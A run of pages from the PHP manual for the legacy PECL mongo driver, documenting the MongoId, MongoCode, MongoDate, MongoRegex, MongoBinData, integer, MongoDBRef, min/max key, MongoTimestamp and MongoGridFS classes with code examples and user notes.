  • MongoId::getTimestamp — Gets the number of seconds since the epoch that this id was created
  • MongoId::__set_state — Create a dummy MongoId
  • MongoId::__toString — Returns a hexidecimal representation of this id

User Contributed Notes

alex dot turpin at gmail dot com 11-Jul-2011 09:15
If you need to get the actual ID string, and you try the usual way, PHP will whine because it starts with a dollar sign and it thinks it's a variable. Instead, use this notation:

<?php
    $mongoid->{'$id'} //Get the $id property of a MongoId object
?>
sararschreiber at gmail dot com 12-Oct-2010 12:23
this is useful for querying for an object by id, given the id's hex:

<?php
$userid = '4cb4ab6d7addf98506010000';

$theObjId = new MongoId($userid);

$connection = new Mongo();
$db = $connection->thedb->users;

// this will return our matching entry.
$item = $db->findOne(array("_id" => $theObjId));

$connection->close();

?>
Types
MongoId::__construct
Types


Creates a new id

MongoId
MongoId::getHostname
MongoId
PHP Manual

MongoId::__construct

(PECL mongo >= 0.8.0)

MongoId::__construct — Creates a new id

Description

public MongoId::__construct ([ string $id = NULL ] )

Parameters

id

A string to use as the id. Must be 24 hexidecimal characters. If an invalid string is passed to this constructor, the constructor will ignore it and create a new id value.

Return Values

Returns a new id.

Examples

Example #1 MongoId::__construct() example

This example shows how to create a new id. This is seldom necessary, as the driver adds an id to arrays automatically before storing them in the database.

<?php

  $id1 = new MongoId();
  echo "$id1\n";

  $id2 = new MongoId();
  echo "$id2\n";

  ?>

The above example will output something similar to:

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

Example #2 Parameter example

This example shows how to use a string parameter to initialize a MongoId with a given value.

<?php
  $id1 = new MongoId();

  // create a new id from $id1
  $id2 = new MongoId("$id1");

  // show that $id1 and $id2 have the same hexidecimal value
  var_dump($id1 == $id2);
  ?>

The above example will output something similar to:

bool(true)

See Also

  • MongoId::__toString() - Returns a hexidecimal representation of this id

User Contributed Notes

There are no user contributed notes for this page.
MongoId
MongoId::getHostname
MongoId


Gets the hostname being used for this machine's ids

MongoId::__construct
MongoId::getInc
MongoId
PHP Manual

MongoId::getHostname

(PECL mongo >= 1.0.8)

MongoId::getHostname — Gets the hostname being used for this machine's ids

Description

public static string MongoId::getHostname ( void )

This returns the hostname MongoId is using to generate unique ids. This should be the same value gethostname() returns.

It is identical to the function:

<?php

public static function getHostname() {
    return gethostname();
}

?>

Parameters

This function has no parameters.

Return Values

Returns the hostname.

User Contributed Notes

There are no user contributed notes for this page.
MongoId::__construct
MongoId::getInc
MongoId


Gets the incremented value to create this id

MongoId::getHostname
MongoId::getPID
MongoId
PHP Manual

MongoId::getInc

(PECL mongo >= 1.0.11)

MongoId::getInc — Gets the incremented value to create this id

Description

public int MongoId::getInc ( void )

Parameters

This function has no parameters.

Return Values

Returns the incremented value used to create this MongoId.

User Contributed Notes

There are no user contributed notes for this page.
MongoId::getHostname
MongoId::getPID
MongoId


Gets the process id used to create this

MongoId::getInc
MongoId::getTimestamp
MongoId
PHP Manual

MongoId::getPID

(PECL mongo >= 1.0.11)

MongoId::getPID — Gets the process id used to create this

Description

public int MongoId::getPID ( void )

Parameters

This function has no parameters.

Return Values

Returns the PID used to create this MongoId.

User Contributed Notes

There are no user contributed notes for this page.
MongoId::getInc
MongoId::getTimestamp
MongoId


Gets the number of seconds since the epoch that this id was created

MongoId::getPID
MongoId::__set_state
MongoId
PHP Manual

MongoId::getTimestamp

(PECL mongo >= 1.0.1)

MongoId::getTimestamp — Gets the number of seconds since the epoch that this id was created

Description

public int MongoId::getTimestamp ( void )

This returns the same thing as running time() when the id is created.

Parameters

This function has no parameters.

Return Values

Returns the number of seconds since the epoch that this id was created. There are only four bytes of timestamp stored, so MongoDate is a better choice for storing exact or wide-ranging times.

User Contributed Notes

There are no user contributed notes for this page.
MongoId::getPID
MongoId::__set_state
MongoId


Create a dummy MongoId

MongoId::getTimestamp
MongoId::__toString
MongoId
PHP Manual

MongoId::__set_state

(PECL mongo >= 1.0.8)

MongoId::__set_state — Create a dummy MongoId

Description

public static MongoId MongoId::__set_state ( array $props )

This function is only used by PHP internally, it shouldn't need to ever be called by the user.

It is identical to the function:

<?php

public static function __set_state($props) {
    return new MongoId("000000000000000000000000");
}

?>

Parameters

props

Theoretically, an array of properties used to create the new id. However, as MongoId instances have no properties, this is not used.

Return Values

A new id with the value "000000000000000000000000".

User Contributed Notes

There are no user contributed notes for this page.
MongoId::getTimestamp
MongoId::__toString
MongoId


Returns a hexidecimal representation of this id

MongoId::__set_state
MongoCode
MongoId
PHP Manual

MongoId::__toString

(PECL mongo >= 0.8.0)

MongoId::__toString — Returns a hexidecimal representation of this id

Description

public string MongoId::__toString ( void )

Parameters

This function has no parameters.

Return Values

This id.

Examples

Example #1 MongoId::__toString() example

<?php

$m = new Mongo();
$collection = $m->selectDB("foo")->selectCollection("bar");

$collection->insert(array( "x" => "y" ));
$collection->insert(array( "x" => "y" ));

$cursor = $collection->find();
$r1 = $cursor->next();
$r2 = $cursor->next();

echo $r1["_id"] . "\n";
echo $r2["_id"] . "\n";

?>

The above example will output something similar to:

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

User Contributed Notes

There are no user contributed notes for this page.
MongoId::__set_state
MongoCode
MongoId


The MongoCode class

(No version information available, might only be in SVN)

Introduction

Represents JavaScript code for the database.

MongoCode objects are composed of two parts: a string of code and an optional scope. The string of code must be valid JavaScript. The scope is a associative array of variable name/value pairs.

Class synopsis

MongoCode {
/* Methods */
public __construct ( string $code [, array $scope = array() ] )
public string __toString ( void )
}

Table of Contents

  • MongoCode::__construct — Creates a new code object
  • MongoCode::__toString — Returns this code as a string

User Contributed Notes

There are no user contributed notes for this page.
MongoId::__toString
MongoCode::__construct
Types


Creates a new code object

MongoCode
MongoCode::__toString
MongoCode
PHP Manual

MongoCode::__construct

(PECL mongo >= 0.8.3)

MongoCode::__construct — Creates a new code object

Description

public MongoCode::__construct ( string $code [, array $scope = array() ] )

Parameters

code

A string of code.

scope

The scope to use for the code.

Return Values

Returns a new code object.

Examples

Example #1 MongoCode::__construct() example

<?php

$code = new MongoCode('function() { '.
    'for(i=0;i<10;i++) {'.
        'db.foo.update({z : i}, {z : x});'.
    '}'.
    'return x-1;'.
 '}', array("x" => 4));
var_dump($code);

?>

The above example will output something similar to:

object(MongoCode)#1 (2) {
  ["scope"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["code"]=>
  string(80) "function() { for(i=0;i<10;i++) { db.foo.update({z : i}, {z : x}); } return x-1; }"
}

Example #2 Using MongoCode() with $where

This example queries a collection for elements where the 'x' fields is less than $y. Notice that PHP objects can be passed into the JavaScript scope and that the JavaScript function returns a boolean.

<?php

$cursor = $collection->find(array('$where' => new MongoCode('function() { return this.x < y; }', array('y'=>$y))));

?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCode
MongoCode::__toString
MongoCode


Returns this code as a string

MongoCode::__construct
MongoDate
MongoCode
PHP Manual

MongoCode::__toString

(PECL mongo >= 0.8.3)

MongoCode::__toString — Returns this code as a string

Description

public string MongoCode::__toString ( void )

Parameters

This function has no parameters.

Return Values

This code, the scope is not returned.

Examples

Example #1 MongoCode::__toString() example

<?php

$code = new MongoCode('return x;', array("x"=>"hi"));
echo "$code\n";

$code = new MongoCode('function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }');
echo "$code\n";

?>

The above example will output something similar to:

return x;
function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }

User Contributed Notes

There are no user contributed notes for this page.
MongoCode::__construct
MongoDate
MongoCode


The MongoDate class

(No version information available, might only be in SVN)

Introduction

Represent date objects for the database. This class should be used to save dates to the database and to query for dates. For example:

<?php

// save a date to the database
$collection->save(array("ts" => new MongoDate()));

$start = new MongoDate(strtotime("2010-01-15 00:00:00"));
$end = new MongoDate(strtotime("2010-01-30 00:00:00"));

// find dates between 1/15/2010 and 1/30/2010
$collection->find(array("ts" => array('$gt' => $start, '$lte' => $end)));

?>

MongoDB stores dates as milliseconds past the epoch. This means that dates do not contain timezone information. Timezones must be stored in a separate field if needed. Second, this means that any precision beyond milliseconds will be lost when the document is sent to/from the database.

Class synopsis

MongoDate {
/* Fields */
public int $sec ;
public int $usec ;
/* Methods */
public __construct ([ int $sec = time() [, int $usec = 0 ]] )
public string __toString ( void )
}

Table of Contents

  • MongoDate::__construct — Creates a new date.
  • MongoDate::__toString — Returns a string representation of this date

User Contributed Notes

jhonnydcano at yahoo dot com 15-Mar-2010 11:43
For showing a human readable MongoDate, you can use something like this:

<?php
date('Y-M-d h:i:s', $yourDate->sec);
?>
MongoCode::__toString
MongoDate::__construct
Types


Creates a new date.

MongoDate
MongoDate::__toString
MongoDate
PHP Manual

MongoDate::__construct

(PECL mongo >= 0.8.1)

MongoDate::__construct — Creates a new date.

Description

public MongoDate::__construct ([ int $sec = time() [, int $usec = 0 ]] )

Creates a new date. If no parameters are given, the current time is used.

Parameters

sec

Number of seconds since January 1st, 1970.

usec

Microseconds.

Return Values

Returns this new date.

Examples

Example #1 MongoDate::__construct() example

This example demonstrates creating a new date with the current time and a new date with a given time.

<?php

$d = new MongoDate();
echo "$d\n";
$d = new MongoDate(1234567890);
echo "$d\n";
$d = new MongoDate(strtotime("2009-05-01 00:00:01"));
echo "$d\n";

?>

The above example will output something similar to:

0.23660600 1235685067
0.00000000 1234567890
0.00000000 1241150401

See Also

  • MongoDate::__toString() - Returns a string representation of this date

User Contributed Notes

There are no user contributed notes for this page.
MongoDate
MongoDate::__toString
MongoDate


Returns a string representation of this date

MongoDate::__construct
MongoRegex
MongoDate
PHP Manual

MongoDate::__toString

(PECL mongo >= 0.8.1)

MongoDate::__toString — Returns a string representation of this date

Description

public string MongoDate::__toString ( void )

Returns a string representation of this date, similar to the representation returned by microtime().

Parameters

This function has no parameters.

Return Values

This date.

User Contributed Notes

There are no user contributed notes for this page.
MongoDate::__construct
MongoRegex
MongoDate


The MongoRegex class

(No version information available, might only be in SVN)

Introduction

This class can be used to create regular expressions. Typically, these expressions will be used to query the database and find matching strings. More unusually, they can be saved to the database and retrieved.

Mongo recognizes six regular expression flags:

  • i

    Case insensitive

  • m

    Multiline

  • x

    Can contain comments

  • l

    locale

  • s

    dotall, "." matches everything, including newlines

  • u

    match unicode

Class synopsis

MongoRegex {
/* Fields */
public string $regex ;
public string $flags ;
/* Methods */
public __construct ( string $regex )
public string __toString ( void )
}

Table of Contents

  • MongoRegex::__construct — Creates a new regular expression
  • MongoRegex::__toString — A string representation of this regular expression

User Contributed Notes

benyounes dot ousama at gmail dot com 19-Nov-2010 09:49
First you must declare and define your regexObj
Here I am looking for all entry of my database wich is like "%Nicolas%" and the /i param is used for Insensitive Case
 $regexObj = new MongoRegex("/^Nicolas/i");

<?php
// I attach the regexObj to my Where Condition
 $where = array("ctname" => $regexObj);

// Execute the request
 $resultset = $this->db->Infos->find($where);

// Parsing the results
 while ($resultset->hasNext())
 {
         $clientObj = $resultset->getNext();
          echo "Client Name: ".$clientObj["cname"]."</br>";
 }
?>
MongoDate::__toString
MongoRegex::__construct
Types


Creates a new regular expression

MongoRegex
MongoRegex::__toString
MongoRegex
PHP Manual

MongoRegex::__construct

(PECL mongo >= 0.8.1)

MongoRegex::__construct — Creates a new regular expression

Description

public MongoRegex::__construct ( string $regex )

Creates a new regular expression.

Parameters

regex

Regular expression string of the form /expr/flags.

Return Values

Returns a new regular expression.

Examples

Example #1 MongoRegex::__construct() example

This example uses a regular expression to query for all documents with a username field matching a regular expression.

<?php

$joe_search = new MongoRegex("/j[o0]e/i");
$cursor = $collection->find(array("username" => $joe_search));

?>

See Also

  • MongoRegex::__toString() - A string representation of this regular expression

User Contributed Notes

There are no user contributed notes for this page.
MongoRegex
MongoRegex::__toString
MongoRegex


A string representation of this regular expression

MongoRegex::__construct
MongoBinData
MongoRegex
PHP Manual

MongoRegex::__toString

(PECL mongo >= 0.8.1)

MongoRegex::__toString — A string representation of this regular expression

Description

public string MongoRegex::__toString ( void )

Returns a string representation of this regular expression.

Parameters

This function has no parameters.

Return Values

This regular expression in the form "/expr/flags".

Examples

Example #1 MongoRegex::__toString() example

<?php

$r = new MongoRegex( "/[a-fA-F0-9]{16}/g" );
echo $r->regex . "\n";
echo $r->flags . "\n";
echo "$r\n";

?>

The above example will output something similar to:

[a-fA-F0-9]{16}
g
/[a-fA-F0-9]{16}/g

User Contributed Notes

There are no user contributed notes for this page.
MongoRegex::__construct
MongoBinData
MongoRegex


The MongoBinData class

(No version information available, might only be in SVN)

Introduction

An object that can be used to store or retrieve binary data from the database.

The maximum size of a single object that can be inserted into the database is 4Mb. For data that is larger than this (movies, music, Henry Kissinger's autobiography), use MongoGridFS. For data that is smaller than 4Mb, it's probably be easier to just embed it into the document using MongoBinData.

For example, to embed an image in a document, one could write:

<?php

$profile = array("username" => "foobity",
    "pic" => new MongoBinData(file_get_contents("gravatar.jpg"))
);

$users->save($profile);

?>

This class contains a type field, which currently gives no additional functionality in the driver or the database. There are five predefined types (which are the class constants listed below), and the user can create their own (at the risk of the BSON spec catching up with them). By default, the PHP driver always uses type 2: a byte array.

Class synopsis

MongoBinData {
/* Constants */
const int FUNC = 1 ;
const int BYTE_ARRAY = 2 ;
const int UUID = 3 ;
const int MD5 = 5 ;
const int CUSTOM = 128 ;
/* Fields */
public string $bin ;
public int $type = 2 ;
/* Methods */
public __construct ( string $data [, int $type = 2 ] )
public string __toString ( void )
}

Predefined Constants

Binary Data Types

MongoBinData::FUNC
0x01
Function.
MongoBinData::BYTE_ARRAY
0x02
Array of bytes.
MongoBinData::UUID
0x03
Universally unique identifier.
MongoBinData::MD5
0x05
MD5.
MongoBinData::CUSTOM
0xf0
User-defined type.

Table of Contents

  • MongoBinData::__construct — Creates a new binary data object.
  • MongoBinData::__toString — The string representation of this binary data object.

User Contributed Notes

sander at steffann dot nl 27-May-2010 04:04
Note MongoBinData::CUSTOM has value 0x80, not 0xf0
MongoRegex::__toString
MongoBinData::__construct
Types


Creates a new binary data object.

MongoBinData
MongoBinData::__toString
MongoBinData
PHP Manual

MongoBinData::__construct

(PECL mongo >= 0.8.1)

MongoBinData::__construct — Creates a new binary data object.

Description

public MongoBinData::__construct ( string $data [, int $type = 2 ] )

Creates a new binary data object.

There are five types of binary data currently recognized by the BSON spec: function (0x01), byte array (0x02), UUID (0x03), MD5 (0x05), and user defined (0x80). The default type is byte array (0x02). There is no particular difference in how the driver or server interpret different types, so by and large they are irrelevant for now. Any number (between 0 and 255) could be used for type, if the user is willing to assume the risk that the database might eventually do something with binary data based on type.

Parameters

data

Binary data.

type

Data type.

Return Values

Returns a new binary data object.

User Contributed Notes

There are no user contributed notes for this page.
MongoBinData
MongoBinData::__toString
MongoBinData


The string representation of this binary data object.

MongoBinData::__construct
MongoInt32
MongoBinData
PHP Manual

MongoBinData::__toString

(PECL mongo >= 0.8.1)

MongoBinData::__toString — The string representation of this binary data object.

Description

public string MongoBinData::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string "<Mongo Binary Data>". To access the contents of a MongoBinData, use the bin field.

User Contributed Notes

There are no user contributed notes for this page.
MongoBinData::__construct
MongoInt32
MongoBinData


The MongoInt32 class

(No version information available, might only be in SVN)

Introduction

The class can be used to save 32-bit integers to the database on a 64-bit system.

Class synopsis

MongoInt32 {
/* Fields */
public string $value ;
/* Methods */
public __construct ( string $value )
public string __toString ( void )
}

Fields

value
This is the string value of the 64-bit number. For instance, 123's value would be "123".

Table of Contents

  • MongoInt32::__construct — Creates a new 32-bit integer.
  • MongoInt32::__toString — Returns the string representation of this 32-bit integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoBinData::__toString
MongoInt32::__construct
Types


Creates a new 32-bit integer.

MongoInt32
MongoInt32::__toString
MongoInt32
PHP Manual

MongoInt32::__construct

(PECL mongo >= 1.0.9)

MongoInt32::__construct — Creates a new 32-bit integer.

Description

public MongoInt32::__construct ( string $value )

Creates a new 32-bit number with the given value.

Parameters

value

A number.

Return Values

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoInt32
MongoInt32::__toString
MongoInt32


Returns the string representation of this 32-bit integer.

MongoInt32::__construct
MongoInt64
MongoInt32
PHP Manual

MongoInt32::__toString

(PECL mongo >= 1.0.9)

MongoInt32::__toString — Returns the string representation of this 32-bit integer.

Description

public string MongoInt32::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoInt32::__construct
MongoInt64
MongoInt32


The MongoInt64 class

(No version information available, might only be in SVN)

Introduction

The class can be used to save 64-bit integers to the database on a 32-bit system.

Class synopsis

MongoInt64 {
/* Fields */
public string $value ;
/* Methods */
public __construct ( string $value )
public string __toString ( void )
}

Fields

value
This is the string value of the 64-bit number. For instance, 123's value would be "123".

Table of Contents

  • MongoInt64::__construct — Creates a new 64-bit integer.
  • MongoInt64::__toString — Returns the string representation of this 64-bit integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoInt32::__toString
MongoInt64::__construct
Types


Creates a new 64-bit integer.

MongoInt64
MongoInt64::__toString
MongoInt64
PHP Manual

MongoInt64::__construct

(PECL mongo >= 1.0.9)

MongoInt64::__construct — Creates a new 64-bit integer.

Description

public MongoInt64::__construct ( string $value )

Creates a new 64-bit number with the given value.

Parameters

value

A number.

Return Values

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoInt64
MongoInt64::__toString
MongoInt64


Returns the string representation of this 64-bit integer.

MongoInt64::__construct
MongoDBRef
MongoInt64
PHP Manual

MongoInt64::__toString

(PECL mongo >= 1.0.9)

MongoInt64::__toString — Returns the string representation of this 64-bit integer.

Description

public string MongoInt64::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.
MongoInt64::__construct
MongoDBRef
MongoInt64


The MongoDBRef class

(No version information available, might only be in SVN)

Introduction

This class can be used to create lightweight links between objects in different collections.

Motivation: Suppose we need to refer to a document in another collection. The easiest way is to create a field in the current document. For example, if we had a "people" collection and an "addresses" collection, we might want to create a link between each person document and an address document:

<?php

$people = $db->people;
$addresses = $db->addresses;

$myAddress = array("line 1" => "123 Main Street",
    "line 2" => null,
    "city" => "Springfield",
    "state" => "Vermont",
    "country" => "USA");

// save the address
$addresses->insert($myAddress);

// save a person with a reference to the address
$me = array("name" => "Fred", "address" => $myAddress['_id']);
$people->insert($me);

?>

Then, later on, we can find the person's address by querying the "addresses" collection with the MongoId we saved in the "people" collection.

Suppose now that we have a more general case, where we don't know which collection (or even which database) contains the referenced document. MongoDBRef is a good choice for this case, as it is a common format that all of the drivers and the database understand.

If each person had a list of things they liked which could come from multiple collections, such as "hobbies", "sports", "books", etc., we could use MongoDBRefs to keep track of what "like" went with what collection:

<?php

$people = $db->selectCollection("people");

// model trains are in the "hobbies" collection
$trainRef = MongoDBRef::create("hobbies", $modelTrains['_id']);
// soccer is in the "sports" collection
$soccerRef = MongoDBRef::create("sports", $soccer['_id']);

// now we'll know what collections the items in the "likes" array came from when
// we retrieve this document
$people->insert(array("name" => "Fred", "likes" => array($trainRef, $soccerRef)));

?>

Database references can be thought of as hyperlinks: they give the unique address of another document, but they do not load it or automatically follow the link/reference.

A database reference is just a normal associative array, not an instance of MongoDBRef, so this class is a little different than the other data type classes. This class contains exclusively static methods for manipulating database references.

Class synopsis

MongoDBRef {
/* Methods */
public static array create ( string $collection , mixed $id [, string $database ] )
public static array get ( MongoDB $db , array $ref )
public static bool isRef ( mixed $ref )
}

See Also

MongoDB core docs on » databases references.

Table of Contents

  • MongoDBRef::create — Creates a new database reference
  • MongoDBRef::get — Fetches the object pointed to by a reference
  • MongoDBRef::isRef — Checks if an array is a database reference

User Contributed Notes

There are no user contributed notes for this page.
MongoInt64::__toString
MongoDBRef::create
Types


Creates a new database reference

MongoDBRef
MongoDBRef::get
MongoDBRef
PHP Manual

MongoDBRef::create

(PECL mongo >= 0.9.0)

MongoDBRef::create — Creates a new database reference

Description

public static array MongoDBRef::create ( string $collection , mixed $id [, string $database ] )

If no database is given, the current database is used.

Parameters

collection

Collection name (without the database name).

id

The _id field of the object to which to link.

database

Database name.

Return Values

Returns the reference.

Examples

Example #1 MongoDBRef::create() example

This creates a database reference to a document in the addresses collection. The MongoCollection::getName() function returns the name of the collection (not including the database name).

<?php
$addresses = $db->addresses;
$people = $db->people;

// save $address so it has an _id
$addresses->insert($address);

// create a reference
$ref = MongoDBRef::create($addresses->getName(), $address['_id']);

// set the field in $person
$person['address'] = $ref;
$people->save($person);
?>

See Also

  • MongoDB::createDBRef() - Creates a database reference
  • MongoCollection::createDBRef() - Creates a database reference

User Contributed Notes

There are no user contributed notes for this page.
MongoDBRef
MongoDBRef::get
MongoDBRef


Fetches the object pointed to by a reference

MongoDBRef::create
MongoDBRef::isRef
MongoDBRef
PHP Manual

MongoDBRef::get

(PECL mongo >= 0.9.0)

MongoDBRef::get — Fetches the object pointed to by a reference

Description

public static array MongoDBRef::get ( MongoDB $db , array $ref )

Parameters

db

Database to use.

ref

Reference to fetch.

Return Values

Returns the document to which the reference refers or NULL if the document does not exist (the reference is broken).

Examples

Example #1 MongoCollection::createDBRef() example

<?php

// get $person out of the db
$person = $people->findOne();

// dereference the address
$address = MongoDBRef::get($people->db, $person['address']);

?>

See Also

  • MongoDB::getDBRef() - Fetches the document pointed to by a database reference
  • MongoCollection::getDBRef() - Fetches the document pointed to by a database reference

User Contributed Notes

There are no user contributed notes for this page.
MongoDBRef::create
MongoDBRef::isRef
MongoDBRef


Checks if an array is a database reference

MongoDBRef::get
MongoMinKey
MongoDBRef
PHP Manual

MongoDBRef::isRef

(PECL mongo >= 0.9.0)

MongoDBRef::isRef — Checks if an array is a database reference

Description

public static bool MongoDBRef::isRef ( mixed $ref )

This not actually follow the reference, so it does not determine if it is broken or not. It merely checks that ref is in valid database reference format (in that it is an object or array with $ref and $id fields).

Parameters

ref

Array or object to check.

Return Values

Returns if ref is a reference.

User Contributed Notes

There are no user contributed notes for this page.
MongoDBRef::get
MongoMinKey
MongoDBRef


The MongoMinKey class

(No version information available, might only be in SVN)

Introduction

MongoMinKey is a special type used by the database that evaluates to less than any other type. Thus, if a query is sorted by a given field in ascending order, any document with a MongoMinKey as its value will be returned first.

MongoMinKey has no associated fields, methods, or constants. It is merely the "smallest" thing that can be inserted into the database.

Class synopsis

MongoMinKey {
}

Using MongoMinKey as a value

<?php

$collection->insert(array("task" => "lunch", "do by" => new MongoMinKey));
$collection->insert(array("task" => "staff meeting", "do by" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("do by" => 1));

?>

The cursor will contain the lunch document, then the staff meeting document. The lunch document will always be returned first, regardless of what else is added to the collection (unless other documents are added with MongoMinKey in the "do by" field).

User Contributed Notes

There are no user contributed notes for this page.
MongoDBRef::isRef
MongoMaxKey
Types


The MongoMaxKey class

(No version information available, might only be in SVN)

Introduction

MongoMaxKey is a special type used by the database that evaluates to greater than any other type. Thus, if a query is sorted by a given field in ascending order, any document with a MongoMaxKey as its value will be returned last.

MongoMaxKey has no associated fields, methods, or constants. It is merely the "largest" thing that can be inserted into the database.

Class synopsis

MongoMaxKey {
}

Using MongoMaxKey as a value

<?php

$collection->insert(array("task" => "dishes", "do by" => new MongoMaxKey));
$collection->insert(array("task" => "staff meeting", "do by" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("do by" => 1));

?>

The cursor will contain the staff meeting document, then the dishes document. The dishes document will always be returned last, regardless of what else is added to the collection (unless other documents are added with MongoMaxKey in the "do by" field).

User Contributed Notes

There are no user contributed notes for this page.
MongoMinKey
MongoTimestamp
Types


The MongoTimestamp class

(No version information available, might only be in SVN)

Introduction

MongoTimestamp is used by sharding. If you're not looking to write sharding tools, what you probably want is MongoDate.

MongoTimestamp is 4 bytes of timestamp (seconds since the epoch) and 4 bytes of increment.

This class is not for measuring time, creating a timestamp on a document or automatically adding or updating a timestamp on a document. Unless you are writing something that interacts with the sharding internals, stop, go directly to MongoDate, do not pass go, do not collect 200 dollars. This is not the class you are looking for.

If you are writing sharding tools, read on.

Class synopsis

MongoTimestamp {
/* Fields */
public int $sec = 0 ;
public int $inc = 0 ;
/* Methods */
public __construct ([ int $sec = time() [, int $inc ]] )
public string __toString ( void )
}

Table of Contents

  • MongoTimestamp::__construct — Creates a new timestamp.
  • MongoTimestamp::__toString — Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.
MongoMaxKey
MongoTimestamp::__construct
Types


Creates a new timestamp.

MongoTimestamp
MongoTimestamp::__toString
MongoTimestamp
PHP Manual

MongoTimestamp::__construct

(PECL mongo >= 1.0.1)

MongoTimestamp::__construct — Creates a new timestamp.

Description

public MongoTimestamp::__construct ([ int $sec = time() [, int $inc ]] )

Creates a new timestamp. If no parameters are given, the current time is used and the increment is automatically provided. The increment is set to 0 when the module is loaded and is incremented every time this constructor is called (without the $inc parameter passed in).

Parameters

sec

Number of seconds since January 1st, 1970.

inc

Increment.

Return Values

Returns this new timestamp.

See Also

  • MongoTimestamp::__toString() - Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.
MongoTimestamp
MongoTimestamp::__toString
MongoTimestamp


Returns a string representation of this timestamp

MongoTimestamp::__construct
GridFS Classes
MongoTimestamp
PHP Manual

MongoTimestamp::__toString

(PECL mongo >= 1.0.1)

MongoTimestamp::__toString — Returns a string representation of this timestamp

Description

public string MongoTimestamp::__toString ( void )

Returns the "sec" field of this timestamp.

Parameters

This function has no parameters.

Return Values

The seconds since epoch represented by this timestamp.

User Contributed Notes

There are no user contributed notes for this page.
MongoTimestamp::__construct
GridFS Classes
MongoTimestamp


GridFS Classes

Table of Contents

  • MongoGridFS
  • MongoGridFSFile
  • MongoGridFSCursor

User Contributed Notes

There are no user contributed notes for this page.
MongoTimestamp::__toString
MongoGridFS
Mongo


The MongoGridFS class

(No version information available, might only be in SVN)

Introduction

Utilities for storing and retrieving files from the database.

GridFS is a storage specification all supported drivers implement. Basically, it defines two collections: files, for file metadata, and chunks, for file content. If the file is large, it will automatically be split into smaller chunks and each chunk will be saved as a document in the chunks collection.

Each document in the files collection contains the filename, upload date, and md5 hash. It also contains a unique _id field, which can be used to query the chunks collection for the file's content. Each document in the chunks collection contains a chunk of binary data, a files_id field that matches its file's _id, and the position of this chunk in the overall file.

For example, the files document is something like:

<?php
array("_id" => 123456789, "filename" => "foo.txt", "chunkSize" => 3, "length" => 12);
?>
and the chunks documents look like:
<?php
array("files_id" => 123456789, "n" => 0, "data" => new MongoBinData("abc"));
array("files_id" => 123456789, "n" => 1, "data" => new MongoBinData("def"));
array("files_id" => 123456789, "n" => 2, "data" => new MongoBinData("ghi"));
array("files_id" => 123456789, "n" => 3, "data" => new MongoBinData("jkl"));
?>
Of course, the default chunk size is thousands of bytes, but that makes an unweildy example.

Inter-Language Compatibility

You should be able to use any files created by MongoGridFS with any other drivers, and visa vera. However, some drivers expect that all metadata associated with a file be in a "metadata" field. If you're going to be using other languages, it's a good idea to wrap info you might want them to see in a "metadata" field. For example, instead of:

<?php

$grid->storeFile("somefile.txt", array("date" => new MongoDate()));

?>

use something like:

<?php

$grid->storeFile("somefile.txt", array("metadata" => array("date" => new MongoDate())));

?>

The MongoGridFS Family

MongoGridFS represents the files and chunks collections. MongoGridFS extends MongoCollection, and an instance of MongoGridFS has access to all of MongoCollection methods, which act on the files collection:

<?php

$grid = $db->getGridFS();
$grid->update(array("filename" => "foo"), $newObj); // update on the files collection

?>

Another example of manipulating metadata:

<?php

// save a file
$id = $grid->storeFile("game.tgz");
$game = $grid->findOne();

// add a downloads counter
$game->file['downloads'] = 0;
$grid->save($game->file);

// increment the counter
$grid->update(array("_id" => $id), array('$inc' => array("downloads" => 1)));

?>

You can also access the chunks collection from an instance of MongoGridFS:

<?php

  $chunks = $grid->chunks; // $chunks is a normal MongoCollection
$chunks->insert(array("x" => 4));

?>

There are some methods for MongoGridFS with the same name as MongoCollection methods, that behave slightly differently. For example, MongoGridFS::remove() will remove any objects that match the criteria from the files collection and their content from the chunks collection.

To store something new in GridFS, there are a couple options. If you have a filename, you can say:

<?php

$grid->storeFile($filename, array("whatever" => "metadata", "you" => "want"));

?>

If you have a string of bytes that isn't a file, you can also store that using MongoGridFS::storeBytes():

<?php

$grid->storeBytes($bytes, array("whatever" => "metadata", "you" => "want"));

?>

Querying a MongoGridFS collection returns a MongoGridFSCursor, which behaves like a normal MongoCursor except that it returns MongoGridFSFiles instead of associative arrays.

MongoGridFSFiles can be written back to disc using MongoGridFSFile::write() or retrieved in memory using MongoGridFSFile::getBytes(). There is currently no method that automatically streams chunks, but it would be fairly easy to write by querying the $grid->chunks collection.

MongoGridFSFile objects contain a field file which contains any file metadata.

Class synopsis

extends MongoCollection {
/* Fields */
public MongoCollection $chunks = NULL ;
protected string $filesName = NULL ;
protected string $chunksName = NULL ;
/* Methods */
public __construct ( MongoDB $db [, string $prefix = "fs" [, mixed $chunks = "fs" ]] )
public bool delete ( mixed $id )
public array drop ( void )
public MongoGridFSCursor find ([ array $query = array() [, array $fields = array() ]] )
public MongoGridFSFile findOne ([ mixed $query = array() [, mixed $fields = array() ]] )
public MongoGridFSFile get ( mixed $id )
public mixed put ( string $filename [, array $extra = array() ] )
public bool remove ([ array $criteria = array() [, array $options = array() ]] )
public mixed storeBytes ( string $bytes [, array $extra = array() [, array $options = array() ]] )
public mixed storeFile ( string $filename [, array $extra = array() [, array $options = array() ]] )
public mixed storeUpload ( string $name [, array $metadata ] )
}

See Also

MongoDB core docs on » GridFS. There's also a nice intro to » saving user uploads and » adding metadata at LightCubeSolutions.com.

Table of Contents

  • MongoGridFS::__construct — Creates new file collections
  • MongoGridFS::delete — Delete a file from the database
  • MongoGridFS::drop — Drops the files and chunks collections
